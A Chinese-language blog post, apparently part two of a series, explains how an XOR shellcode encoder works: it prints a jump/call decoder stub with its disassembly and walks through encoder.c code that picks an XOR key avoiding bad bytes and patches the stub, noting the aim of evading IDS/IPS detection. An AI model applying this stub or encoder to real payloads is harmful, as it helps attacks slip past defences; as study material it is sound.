zoukankan      html  css  js  c++  java
  • shellcode xor编码/解码[2]

    0x04 源码解读

    下面以decoder_jump_header为例来说明解码部分

    unsigned char decoder_jump_header[] = {
    0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 
    0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 
    0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF
    };
    echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u -
    
    00000000 EB10 jmp short 0x12
    00000002 5B pop ebx
    00000003 31C9 xor ecx,ecx
    00000005 6681E9A1FE sub cx,0xfea1
    0000000A 803399 xor byte [ebx],0x99
    0000000D 43 inc ebx
    0000000E E2FA loop 0xa
    00000010 EB05 jmp short 0x17
    00000012 E8EBFFFFFF call dword 0x2

    这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode
    下面解读部分encoder.c的源代码
    这个encoder.c通过xor来处理需要剔除的字节,原理很简单
    下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
    这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节

    /* Scan the shellcode for suitable encode byte */
    for (i = 1; i < 255; i++) {
    
    /* Mark the candidate as found */
    found = 1;
    
    /* Try out every byte in encode_bytes array */
    for (j = 0; j < size; j++) {
    
    /* XOR candidate with encode_bytes */
    try = i^encode_bytes[j];
    
    /* Now try every byte in shellcode */
    for (k = 0; k < len; k++) {
    
    c = 0xff&filebuf[k];
    
    /* If match, mark the candidate "not found" */
    if (c == try) {
    found = 0;
    break;
    }
    }
    }
    /* Break out if byte found */
    if (found == 1) break;
    }

    创建新的shellcode,截取jump传统方式的来解读一下

    /* Create the new shellcode */
    
    /* jump/call decoder */
    
    if (decoder == DECODER_JUMP) {
    /* Copy 1st header */
    memcpy(&shellbuf[0], decoder_jump_header, 
    sizeof(decoder_jump_header)); //拷贝解码字节
    
    /* Copy the actual shellcode */
    for (i = 0; i < len; i++)
    filebuf[i] = filebuf[i]^encode_byte;
    memcpy(&shellbuf[sizeof(decoder_jump_header)], 
    filebuf, len); //拷贝经过xor处理后的实际shellcode
    
    /* High len byte: */ //处理字节数
    shellbuf[9] = ((0x10000-len)>>8)&0xff;
    
    /* Low len byte: */
    shellbuf[8] = (0x10000-len)&0xff;
    /* Adjust, if needed.. */
    if (shellbuf[8] == 0)
    shellbuf[8]++;
    
    /* XOR byte */
    shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节
    
    /* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来
    switch (reg) {
    case REG_EAX:
    shellbuf[2] = 0x58;
    shellbuf[11] = 0x30;
    shellbuf[13] = 0x40;
    break;
    case REG_EDX:
    shellbuf[2] = 0x5a;
    shellbuf[11] = 0x32;
    shellbuf[13] = 0x42;
    break;
    case REG_EBX:
    shellbuf[2] = 0x5b;
    shellbuf[11] = 0x33;
    shellbuf[13] = 0x43;
    break;
    }
    }

    到此为此基本了解了这个编码解码器的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。

    0x05 参考
    http://www.klake.org/~jt/encoder/
    http://blog.csdn.net/ych_max/article/details/815832

  • 相关阅读:
    Math.pow
    css3正方体
    制作一个百度换肤效果
    排他思想
    js栈和堆的区别
    js创建对象的几种方式(工厂模式、构造函数模式、原型模式)
    短网址
    this
    作用域
    JS 函数基础
  • 原文地址:https://www.cnblogs.com/moonflow/p/2516789.html
Copyright © 2011-2022 走看看